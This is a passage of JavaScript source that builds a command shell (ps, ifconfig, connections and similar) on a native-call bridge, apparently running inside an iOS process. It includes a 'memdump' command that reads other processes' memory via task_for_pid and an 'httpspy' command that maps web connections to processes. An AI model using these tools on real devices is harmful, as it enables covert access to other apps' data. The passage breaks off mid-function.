? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump <pid> <hex_address> <size>\\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + j].toString(16);\n\t\t\t\thex += (hx.length < 2 ? \"0\" + hx : hx) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += a + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\tif (readSize > maxShow) out += \"\\n... truncated (read \" + readSize + \" bytes, showing \" + maxShow + \")\\n\";\n\tout += \"\\n\" + readSize + \" bytes read from pid \" + pid + \" at 0x\" + address.toString(16) + \"\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Commands ----\n\nfunction _cmdIfconfig(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"ifconfig: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"ifconfig: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar ifMap = {};\n\tvar ifOrder = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar flags = _readU32(ifa, 16);\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (!ifMap[name]) {\n\t\t\t\tifMap[name] = { flags: flags, addrs: [], mtu: 0 };\n\t\t\t\tifOrder.push(name);\n\t\t\t}\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\n\t\t\t\tif (family === 2) {\n\t\t\t\t\tvar ab = new Uint8Array(Native.read(addrPtr + 4n, 4));\n\t\t\t\t\tvar ip = ab[0] + \".\" + ab[1] + \".\" + ab[2] + \".\" + ab[3];\n\t\t\t\t\tvar entry = { type: \"inet\", addr: ip };\n\t\t\t\t\tvar maskPtr = Native.readPtr(ifa + 32n);\n\t\t\t\t\tif (maskPtr && maskPtr !== 0n) {\n\t\t\t\t\t\tvar mb = new Uint8Array(Native.read(maskPtr + 4n, 4));\n\t\t\t\t\t\tentry.mask = mb[0] + \".\" + mb[1] + \".\" + mb[2] + \".\" + mb[3];\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push(entry);\n\t\t\t\t} else if (family === 30) {\n\t\t\t\t\tvar a6 = new Uint8Array(Native.read(addrPtr + 8n, 16));\n\t\t\t\t\tvar v6 = \"\";\n\t\t\t\t\tfor (var k = 0; k < 16; k += 2) {\n\t\t\t\t\t\tif (k > 0) v6 += \":\";\n\t\t\t\t\t\tv6 += ((a6[k] << 8) | a6[k + 1]).toString(16);\n\t\t\t\t\t}\n\t\t\t\t\tifMap[name].addrs.push({ type: \"inet6\", addr: v6 });\n\t\t\t\t} else if (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tifMap[name].mtu = _readU32(dataPtr, 8);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip this entry on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"\";\n\tfor (var oi = 0; oi < ifOrder.length; oi++) {\n\t\tvar n = ifOrder[oi];\n\t\tvar inf = ifMap[n];\n\t\tvar fl = [];\n\t\tif (inf.flags & 0x1) fl.push(\"UP\");\n\t\tif (inf.flags & 0x2) fl.push(\"BROADCAST\");\n\t\tif (inf.flags & 0x8) fl.push(\"LOOPBACK\");\n\t\tif (inf.flags & 0x10) fl.push(\"POINTOPOINT\");\n\t\tif (inf.flags & 0x40) fl.push(\"RUNNING\");\n\t\tif (inf.flags & 0x8000) fl.push(\"MULTICAST\");\n\t\tout += n + \": flags=0x\" + inf.flags.toString(16) + \" <\" + fl.join(\",\") + \">\";\n\t\tif (inf.mtu > 0) out += \" mtu \" + inf.mtu;\n\t\tout += \"\\n\";\n\t\tfor (var ai = 0; ai < inf.addrs.length; ai++) {\n\t\t\tvar ad = inf.addrs[ai];\n\t\t\tif (ad.type === \"inet\") {\n\t\t\t\tout += \"\\tinet \" + ad.addr;\n\t\t\t\tif (ad.mask) out += \" netmask \" + ad.mask;\n\t\t\t\tout += \"\\n\";\n\t\t\t} else if (ad.type === \"inet6\") {\n\t\t\t\tout += \"\\tinet6 \" + ad.addr + \"\\n\";\n\t\t\t}\n\t\t}\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdNetstats(args) {\n\tvar ifapPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!ifapPtr || ifapPtr === 0n) return { code: 1, out: \"\", err: \"netstats: malloc failed\\n\" };\n\n\tvar r = Number(Native.callSymbol(\"getifaddrs\", ifapPtr));\n\tif (r !== 0) {\n\t\tNative.callSymbol(\"free\", ifapPtr);\n\t\treturn { code: 1, out: \"\", err: \"netstats: getifaddrs failed\\n\" };\n\t}\n\n\tvar ifaHead = Native.readPtr(BigInt(ifapPtr));\n\tNative.callSymbol(\"free\", ifapPtr);\n\tif (!ifaHead || ifaHead === 0n) return { code: 0, out: \"(no interfaces)\\n\", err: \"\" };\n\n\tvar stats = {};\n\tvar order = [];\n\tvar ifa = ifaHead;\n\tvar maxIter = 1024;\n\n\twhile (ifa && ifa !== 0n && maxIter-- > 0) {\n\t\ttry {\n\t\t\tvar namePtr = Native.readPtr(ifa + 8n);\n\t\t\tvar name = (namePtr && namePtr !== 0n) ? Native.readString(namePtr, 32) : \"?\";\n\t\t\tvar addrPtr = Native.readPtr(ifa + 24n);\n\n\t\t\tif (addrPtr && addrPtr !== 0n) {\n\t\t\t\tvar family = _readU8(addrPtr, 1);\n\t\t\t\tif (family === 18) {\n\t\t\t\t\tvar dataPtr = Native.readPtr(ifa + 48n);\n\t\t\t\t\tif (dataPtr && dataPtr !== 0n) {\n\t\t\t\t\t\tif (!stats[name]) order.push(name);\n\t\t\t\t\t\tstats[name] = {\n\t\t\t\t\t\t\tmtu: _readU32(dataPtr, 8),\n\t\t\t\t\t\t\tipackets: _readU32(dataPtr, 20),\n\t\t\t\t\t\t\tierrors: _readU32(dataPtr, 24),\n\t\t\t\t\t\t\topackets: _readU32(dataPtr, 28),\n\t\t\t\t\t\t\toerrors: _readU32(dataPtr, 32),\n\t\t\t\t\t\t\tcollisions: _readU32(dataPtr, 36),\n\t\t\t\t\t\t\tibytes: _readU32(dataPtr, 40),\n\t\t\t\t\t\t\tobytes: _readU32(dataPtr, 44)\n\t\t\t\t\t\t};\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (iterErr) { /* skip on error */ }\n\n\t\tifa = Native.readPtr(ifa);\n\t}\n\n\tNative.callSymbol(\"freeifaddrs\", ifaHead);\n\n\tvar out = \"Interface\\tRX bytes\\tTX bytes\\tRX pkts\\t\\tTX pkts\\t\\tRX err\\tTX err\\n\";\n\tvar totalRx = 0, totalTx = 0;\n\tfor (var si = 0; si < order.length; si++) {\n\t\tvar sn = order[si];\n\t\tvar s = stats[sn];\n\t\tout += sn + \"\\t\\t\" + _fmtSizeH(s.ibytes) + \"\\t\\t\" + _fmtSizeH(s.obytes)\n\t\t\t+ \"\\t\\t\" + s.ipackets + \"\\t\\t\" + s.opackets\n\t\t\t+ \"\\t\\t\" + s.ierrors + \"\\t\" + s.oerrors + \"\\n\";\n\t\ttotalRx += s.ibytes;\n\t\ttotalTx += s.obytes;\n\t}\n\tout += \"\\nTotal RX: \" + _fmtSizeH(totalRx) + \" TX: \" + _fmtSizeH(totalTx) + \"\\n\";\n\n\tout += \"\\nNetwork type summary:\\n\";\n\tfor (var ni = 0; ni < order.length; ni++) {\n\t\tvar nn = order[ni];\n\t\tvar ns = stats[nn];\n\t\tif (ns.ibytes === 0 && ns.obytes === 0) continue;\n\t\tvar netType = \"other\";\n\t\tif (nn === \"en0\") netType = \"WiFi\";\n\t\telse if (nn === \"lo0\") netType = \"Loopback\";\n\t\telse if (nn.indexOf(\"pdp_ip\") === 0) netType = \"Cellular\";\n\t\telse if (nn.indexOf(\"utun\") === 0) netType = \"VPN/Tunnel\";\n\t\telse if (nn.indexOf(\"ipsec\") === 0) netType = \"IPSec\";\n\t\telse if (nn.indexOf(\"en\") === 0) netType = \"Ethernet\";\n\t\telse if (nn.indexOf(\"awdl\") === 0) netType = \"AWDL (AirDrop)\";\n\t\tout += \" \" + nn + \" (\" + netType + \"): RX \" + _fmtSizeH(ns.ibytes) + \" / TX \" + _fmtSizeH(ns.obytes) + \"\\n\";\n\t}\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Network Connection Commands ----\n\nfunction _fmtIPv6Short(data, off) {\n\tvar parts = [];\n\tfor (var i = 0; i < 16; i += 2) {\n\t\tparts.push(((data[off + i] << 8) | data[off + i + 1]).toString(16));\n\t}\n\treturn parts.join(\":\");\n}\n\nfunction _getSysctlPcbList(name) {\n\tvar sizePtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!sizePtr || sizePtr === 0n) return null;\n\n\tvar rc = Number(Native.callSymbol(\"sysctlbyname\", name, 0, sizePtr, 0, 0));\n\tif (rc !== 0) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar dataSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tif (dataSize <= 0 || dataSize > 10 * 1024 * 1024) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tvar allocSize = dataSize + 4096;\n\tvar dataBuf = Native.callSymbol(\"malloc\", BigInt(allocSize));\n\tif (!dataBuf || dataBuf === 0n) { Native.callSymbol(\"free\", sizePtr); return null; }\n\n\tNative.write64(sizePtr, BigInt(allocSize));\n\trc = Number(Native.callSymbol(\"sysctlbyname\", name, dataBuf, sizePtr, 0, 0));\n\tvar actualSize = Number(Native.readPtr(BigInt(sizePtr)));\n\tNative.callSymbol(\"free\", sizePtr);\n\n\tif (rc !== 0) { Native.callSymbol(\"free\", dataBuf); return null; }\n\treturn { buf: dataBuf, size: actualSize };\n}\n\nfunction _parseConnections(dataBuf, dataSize, isTcp) {\n\tvar XSO_INPCB = 0x010, XSO_TCPCB = 0x020;\n\tvar conns = [];\n\n\tif (dataSize < 24) return conns;\n\tvar headerLen = _readU32(dataBuf, 0);\n\tif (headerLen < 16 || headerLen > 256) return conns;\n\n\tvar off = headerLen;\n\tvar cur = null;\n\tvar maxIter = 50000;\n\n\twhile (off + 8 <= dataSize && maxIter-- > 0) {\n\t\tvar eLen = _readU32(dataBuf, off);\n\t\tvar eKind = _readU32(dataBuf, off + 4);\n\t\tif (eLen < 8 || eLen > 8192 || off + eLen > dataSize) break;\n\n\t\ttry {\n\t\t\tif (isTcp && eKind === XSO_TCPCB) {\n\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\tif (eLen >= 40) cur.state = _readU32(dataBuf, off + 36);\n\t\t\t} else if (eKind === XSO_INPCB) {\n\t\t\t\tif (!isTcp) {\n\t\t\t\t\tif (cur) conns.push(cur);\n\t\t\t\t\tcur = { state: -1, laddr: \"\", faddr: \"\", lport: 0, fport: 0, vflag: 0 };\n\t\t\t\t}\n\t\t\t\tif (cur && eLen >= 84) {\n\t\t\t\t\tcur.fport = (_readU8(dataBuf, off + 16) << 8) | _readU8(dataBuf, off + 17);\n\t\t\t\t\tcur.lport = (_readU8(dataBuf, off + 18) << 8) | _readU8(dataBuf, off + 19);\n\t\t\t\t\tcur.vflag = _readU8(dataBuf, off + 48);\n\n\t\t\t\t\tif (cur.vflag & 1) {\n\t\t\t\t\t\tvar la = new Uint8Array(Native.read(dataBuf + BigInt(off + 64), 4));\n\t\t\t\t\t\tvar fa = new Uint8Array(Native.read(dataBuf + BigInt(off + 80), 4));\n\t\t\t\t\t\tcur.laddr = la[0] + \".\" + la[1] + \".\" + la[2] + \".\" + la[3];\n\t\t\t\t\t\tcur.faddr = fa[0] + \".\" + fa[1] + \".\" + fa[2] + \".\" + fa[3];\n\t\t\t\t\t} else if (cur.vflag & 2) {\n\t\t\t\t\t\tvar la6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 52), 16));\n\t\t\t\t\t\tvar fa6 = new Uint8Array(Native.read(dataBuf + BigInt(off + 68), 16));\n\t\t\t\t\t\tcur.laddr = _fmtIPv6Short(la6, 0);\n\t\t\t\t\t\tcur.faddr = _fmtIPv6Short(fa6, 0);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t} catch (parseErr) { /* skip malformed entry */ }\n\n\t\toff += eLen;\n\t}\n\tif (cur) conns.push(cur);\n\treturn conns;\n}\n\nfunction _cmdConnections(args) {\n\tvar showTcp = true, showUdp = true, showListen = false, showAll = false;\n\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-t\") { showTcp = true; showUdp = false; }\n\t\telse if (args[i] === \"-u\") { showTcp = false; showUdp = true; }\n\t\telse if (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-l\") showListen = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: connections [-t] [-u] [-a] [-l]\\n\" +\n\t\t\t\t\" -t Show TCP connections only\\n\" +\n\t\t\t\t\" -u Show UDP sockets only\\n\" +\n\t\t\t\t\" -a Show all (including LISTEN, TIME_WAIT, CLOSED)\\n\" +\n\t\t\t\t\" -l Show only LISTEN sockets\\n\" +\n\t\t\t\t\" Default: show TCP+UDP, hide LISTEN/TIME_WAIT/CLOSED\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", \"ESTABLISHED\",\n\t\t\"CLOSE_WAIT\", \"FIN_WAIT_1\", \"CLOSING\", \"LAST_ACK\", \"FIN_WAIT_2\", \"TIME_WAIT\"];\n\n\tvar out = \"Proto Local Address Foreign Address State\\n\";\n\tout += \"----- ------------------------- ------------------------- -----------\\n\";\n\tvar total = 0;\n\n\tif (showTcp) {\n\t\tvar tcpData = _getSysctlPcbList(\"net.inet.tcp.pcblist_n\");\n\t\tif (tcpData) {\n\t\t\tvar tcpConns = _parseConnections(tcpData.buf, tcpData.size, true);\n\t\t\tNative.callSymbol(\"free\", tcpData.buf);\n\n\t\t\tfor (var ci = 0; ci < tcpConns.length; ci++) {\n\t\t\t\tvar c = tcpConns[ci];\n\t\t\t\tvar st = (c.state >= 0 && c.state < tcpStates.length) ? tcpStates[c.state] : \"?\" + c.state;\n\n\t\t\t\tif (!showAll) {\n\t\t\t\t\tif (showListen && st !== \"LISTEN\") continue;\n\t\t\t\t\tif (!showListen && (st === \"TIME_WAIT\" || st === \"CLOSED\" || st === \"LISTEN\")) continue;\n\t\t\t\t}\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"tcp6 \" : \"tcp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + st + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(tcp: sysctl net.inet.tcp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tif (showUdp) {\n\t\tvar udpData = _getSysctlPcbList(\"net.inet.udp.pcblist_n\");\n\t\tif (udpData) {\n\t\t\tvar udpConns = _parseConnections(udpData.buf, udpData.size, false);\n\t\t\tNative.callSymbol(\"free\", udpData.buf);\n\n\t\t\tfor (var ci = 0; ci < udpConns.length; ci++) {\n\t\t\t\tvar c = udpConns[ci];\n\t\t\t\tif (!showAll && c.lport === 0 && c.fport === 0) continue;\n\n\t\t\t\tvar p = (c.vflag & 2) ? \"udp6 \" : \"udp4 \";\n\t\t\t\tvar ls = c.laddr + \":\" + c.lport;\n\t\t\t\tvar fs = c.faddr + \":\" + c.fport;\n\t\t\t\twhile (ls.length < 28) ls += \" \";\n\t\t\t\twhile (fs.length < 28) fs += \" \";\n\t\t\t\tout += p + ls + fs + \"\\n\";\n\t\t\t\ttotal++;\n\t\t\t}\n\t\t} else {\n\t\t\tout += \"(udp: sysctl net.inet.udp.pcblist_n failed)\\n\";\n\t\t}\n\t}\n\n\tout += \"\\nTotal: \" + total + \" connections\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- Process Network Spy ----\n\nfunction _cmdHttpspy(args) {\n\tvar showAll = false;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-a\") showAll = true;\n\t\telse if (args[i] === \"-h\" || args[i] === \"--help\") {\n\t\t\treturn { code: 0, out:\n\t\t\t\t\"Usage: httpspy [-a]\\n\" +\n\t\t\t\t\" Maps active network connections to owning processes\\n\" +\n\t\t\t\t\" Default: show only HTTP (80) / HTTPS (443) connections\\n\" +\n\t\t\t\t\" -a Show ALL network connections per process\\n\", err: \"\" };\n\t\t}\n\t}\n\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) { Native.callSymbol(\"free\", pidBuf); return { code: 1, out: \"\", err: \"httpspy: proc_listallpids failed\\n\" }; }\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\n\tvar fdInfoSize = 8;\n\tvar fdBuf = Native.callSymbol(\"malloc\", BigInt(fdInfoSize * 2048));\n\tvar sockBuf = Native.callSymbol(\"malloc\", 4096);\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!fdBuf || fdBuf === 0n || !sockBuf || sockBuf === 0n || !nameBuf || nameBuf === 0n) {\n\t\tif (fdBuf && fdBuf !== 0n) Native.callSymbol(\"free\", fdBuf);\n\t\tif (sockBuf && sockBuf !== 0n) Native.callSymbol(\"free\", sockBuf);\n\t\tif (nameBuf && nameBuf !== 0n) Native.callSymbol(\"free\", nameBuf);\n\t\treturn { code: 1, out: \"\", err: \"httpspy: malloc failed\\n\" };\n\t}\n\n\tvar OFF_SOI_TYPE = 176;\n\tvar OFF_SOI_PROTO = 180;\n\tvar OFF_SOI_FAMILY = 184;\n\tvar OFF_INI_FPORT = 264;\n\tvar OFF_INI_LPORT = 268;\n\tvar OFF_INI_VFLAG = 288;\n\tvar OFF_INI_FADDR4 = 308;\n\tvar OFF_INI_LADDR4 = 324;\n\tvar OFF_INI_FADDR6 = 296;\n\tvar OFF_INI_LADDR6 = 312;\n\tvar OFF_TCP_STATE = 360;\n\tvar MIN_SI_SIZE = 364;\n\n\tvar tcpStates = [\"CLOSED\", \"LISTEN\", \"SYN_SENT\", \"SYN_RCVD\", 